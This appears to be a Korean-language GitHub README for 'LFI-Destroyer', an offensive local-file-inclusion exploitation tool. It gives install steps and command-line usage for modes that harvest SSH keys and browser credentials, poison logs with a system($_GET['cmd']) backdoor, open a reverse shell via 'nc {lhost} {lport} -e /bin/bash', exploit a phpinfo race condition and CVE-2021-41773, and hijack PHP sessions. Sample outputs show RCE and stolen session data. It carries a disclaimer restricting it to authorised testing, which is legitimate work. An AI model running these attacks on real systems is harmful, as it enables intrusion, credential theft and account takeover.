
이 프로그램은 로컬 파일 포함(LFI) 정보를 입력받도록 안내하며, /etc/passwd를 자동으로 검색하고 발견된 사용자 이름을 사용하여 SSH 키 또는 변형된 키를 로컬 컴퓨터로 검색 및 다운로드합니다. 또한 이 프로그램은 CVE-2021-41773 Apache 2.4.49 및 50 경로 탐색 취약점을 수행합니다. 다른 LFI 취약점도 추가로 처리합니다.
🔥 LFI-Destruction – 공인 침투 테스트 프레임워크 LFI-Destroyer는 공인된 보안 전문가를 위해 설계된 포괄적이고 모듈식 LFI(Local File Inclusion) 익스플로잇 프레임워크입니다. 여러 공격 기술을 단일의 사용하기 쉬운 도구로 결합합니다:
file_uploads=On이고 phpinfo()에 접근 가능할 때 완전 자동화된 LFI2RCE.LFI-OSCP.py OSCP 시험에 안전한 버전으로, 자동 익스플로잇이 전혀 없습니다. 기본적으로 매우 예쁜 퍼저이며, 익스플로잇을 확인하면 익스플로잇 수행 방법에 대한 수동 지침을 출력합니다.
⚠️ 법적 고지 이 도구는 교육 목적 및 공인된 보안 테스트 전용입니다. 사용하기 전에 시스템 소유자의 명시적 서면 허가를 받아야 합니다. 허가되지 않은 컴퓨터 시스템 접근은 불법이며 비윤리적입니다. 저자는 이 도구의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
📦 설치
# 1. 저장소 클론
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. 종속성 설치 (colorama만 필수, 나머지는 선택)
pip install colorama
# 3. 메인 스크립트 실행 권한 부여
chmod +x LFI-Destroyer.py
🚀 빠른 시작 – 모드 1 (SSH / 브라우저 아티팩트 퍼징)
python3 LFI-Destroyer.py
Linux 또는 Windows를 선택하십시오.
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
공격 모드 1을 선택하십시오.
프롬프트에 따라 LFI 엔드포인트를 구성하십시오.
스크립트가 자동으로 사용자를 열거하고, 존재 여부를 확인하며(Windows는 NTUSER.DAT 비콘 사용), SSH 키, 브라우저 자격 증명 및 기타 민감한 파일을 재귀적으로 퍼징합니다.
모든 아티팩트는 ./artifacts/ 디렉터리에 저장됩니다.
📝 모드 2 – 로그 포이즈닝 및 리버스 셸
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
또는 대화형으로 실행하고 모드 2를 선택하십시오.
작동 방식:
system($_GET['cmd']) 백도어 주입.id(Linux) 또는 whoami(Windows)로 RCE 확인.사용자 지정 리버스 셸:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
자리 표시자 {lhost} 및 {lport}는 리스너 IP/포트로 대체됩니다.
🧪 베타 – 모드 3: phpinfo() 경쟁 조건 RCE
상태: 베타 – file_uploads=On이고 phpinfo()에 접근 가능한 잘못 구성된 PHP 서버에서 안정적으로 작동합니다.
전제 조건:
file_uploads = On (자동 감지)post_max_size ≥ upload_max_filesize (자동 감지)phpinfo() 페이지 접근 가능 (스크립트가 일반적인 위치를 무차별 대입)실행:
python3 LFI-Destroyer.py
# 모드 3 선택
LFI 세부 정보를 평소와 같이 제공하십시오. 스크립트가:
upload_max_filesize 및 post_max_size 파싱예시 출력:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 베타 – 모드 4: 업로드된 파일 트리거 상태: 베타 – 이미 PHP 셸을 업로드했다고 가정합니다(예: 다른 취약점 또는 수동 업로드를 통해). 그런 다음 스크립트가 LFI를 사용하여 이를 포함하고 명령을 실행합니다.
두 가지 작동 모드:
uploads/shell.php).실행:
python3 LFI-Destroyer.py
# 모드 4 선택
경로를 입력하거나 'brute'를 입력하십시오. 스크립트가:
?cmd=whoami로 LFI 포함 시도예시:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 베타 – 모드 5: PHP 세션 열거 및 하이재킹
상태: 베타 – session.save_path(phpinfo() 또는 폴백 워드리스트를 통해 확인)에서 세션 파일을 읽고 저장하며 필요 시 base64 디코딩을 시도합니다.
실행:
python3 LFI-Destroyer.py
# 모드 5 선택
세션 ID를 제공하거나 열거하려면 'list'를 입력하십시오.
예시:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
디렉터리 인덱싱이 활성화된 경우 세션 디렉터리 목록:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
모든 세션 파일은 artifacts/session_*에 저장됩니다.
데이터가 base64 인코딩된 것으로 보이면 스크립트가 자동으로 php://filter/convert.base64-decode 우회를 시도하고 디코딩된 버전을 저장합니다.
🧠 고급 모드 (-adv) 추가 LFI 기술 활성화:
python3 LFI-Destroyer.py -adv
⚙️ 명령줄 플래그
모드 3, 4, 5는 modes/ 디렉터리에서 동적으로 로드됩니다.
run(config, fuzzer) 함수가 포함된 Python 파일을 추가하여 새 모드를 쉽게 추가할 수 있습니다.
🧰 요구 사항
colorama (선택 사항, 색상 출력용)📜 라이선스 및 작성자
교육 및 공인된 테스트 전용입니다. 이 도구를 사용하여 법을 위반하면 전적으로 귀하의 책임입니다.
⭐ 스타 및 기여
이 도구가 유용하다면 GitHub에서 저장소에 스타를 눌러 주십시오.
풀 리퀘스트 및 새로운 모드 기여를 환영합니다 – modes/__init__.py의 간단한 모듈 인터페이스를 따르십시오.
| 플래그 | 설명 |
|---|
--os {linux,windows} | 대상 OS 강제 지정 |
--auto-depth | 트래버설 깊이 자동 감지 |
--wordlist FILE | 사용자 지정 파일 경로 워드리스트 (OS 기본값 재정의) |
--userlist FILE | 사용자 지정 Windows 사용자 이름 (모드 1) |
--beacon-file PATH | 사용자 지정 비콘 파일 (기본값: NTUSER.DAT) |
--custom-shell CMD | 사용자 지정 리버스 셸 명령 ({lhost} 및 {lport} 사용) |
--log-poisoning | CLI에서 모드 2 활성화 (대화형 모드 선택 없음) |
--log-vector {ua,referer,xff,header,param} | 로그 포이즈닝용 주입 벡터 |
--log-header NAME | 사용자 지정 헤더 이름 (vector=header의 경우) |
--log-param NAME | 사용자 지정 매개변수 이름 (vector=param의 경우) |
--log-files FILE | 사용자 지정 로그 경로 목록 |
--rce-command CMD | RCE 확인용 테스트 명령 |
--proxy URL | HTTP 프록시 (예: http://127.0.0.1:8080) |
--rate FLOAT | 요청 간 지연 시간 (초) |
--output FILE | 결과를 JSON으로 저장 |
--dry-run | 구성 테스트 – 요청 전송 안 함 |
--no-color | 색상 출력 비활성화 |